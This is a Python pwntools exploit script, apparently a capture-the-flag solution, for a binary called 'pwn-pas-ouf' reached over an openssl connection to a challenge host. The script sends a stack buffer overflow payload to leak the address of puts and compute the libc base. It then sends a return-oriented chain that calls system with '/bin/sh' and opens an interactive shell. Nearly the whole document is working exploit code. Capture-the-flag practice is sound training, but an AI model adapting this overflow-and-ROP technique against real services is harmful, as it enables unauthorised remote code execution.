41 lines
770 B
Python
41 lines
770 B
Python
#!/usr/bin/python3
|
|
|
|
from pwn import *
|
|
|
|
context.binary = target = ELF("./pwn-pas-ouf", checksec=False)
|
|
# r = process()
|
|
r = process("openssl s_client -quiet -verify_quiet -connect main-5000-pwn-pas-ouf-70df26172a24b94f.ctf.4ts.fr:52525", shell=True)
|
|
|
|
# funcs
|
|
s = lambda a: r.sendline(a)
|
|
|
|
# buf
|
|
buf = b"A"*272
|
|
buf += p64(0x404118)
|
|
buf += p64(0x40129e)
|
|
buf += b"A"*280
|
|
buf += p64(target.sym.main)
|
|
s(buf)
|
|
|
|
# leak
|
|
r.recvuntil(b"@\n")
|
|
puts = u64(r.recv(6).ljust(8, b"\x00"))
|
|
log.info("puts: %#x", puts)
|
|
libc = puts - 0x80e50
|
|
log.info("libc: %#x", libc)
|
|
system = libc + 0x50d70
|
|
sh = libc + 0x1d8678
|
|
|
|
# gadgets
|
|
pop_rdi = libc + 0x2a3e5
|
|
|
|
# pop
|
|
buf = b"A"*280
|
|
buf += p64(pop_rdi)
|
|
buf += p64(sh)
|
|
buf += p64(pop_rdi+1)
|
|
buf += p64(pop_rdi+1)
|
|
buf += p64(system)
|
|
s(buf)
|
|
|
|
r.interactive() |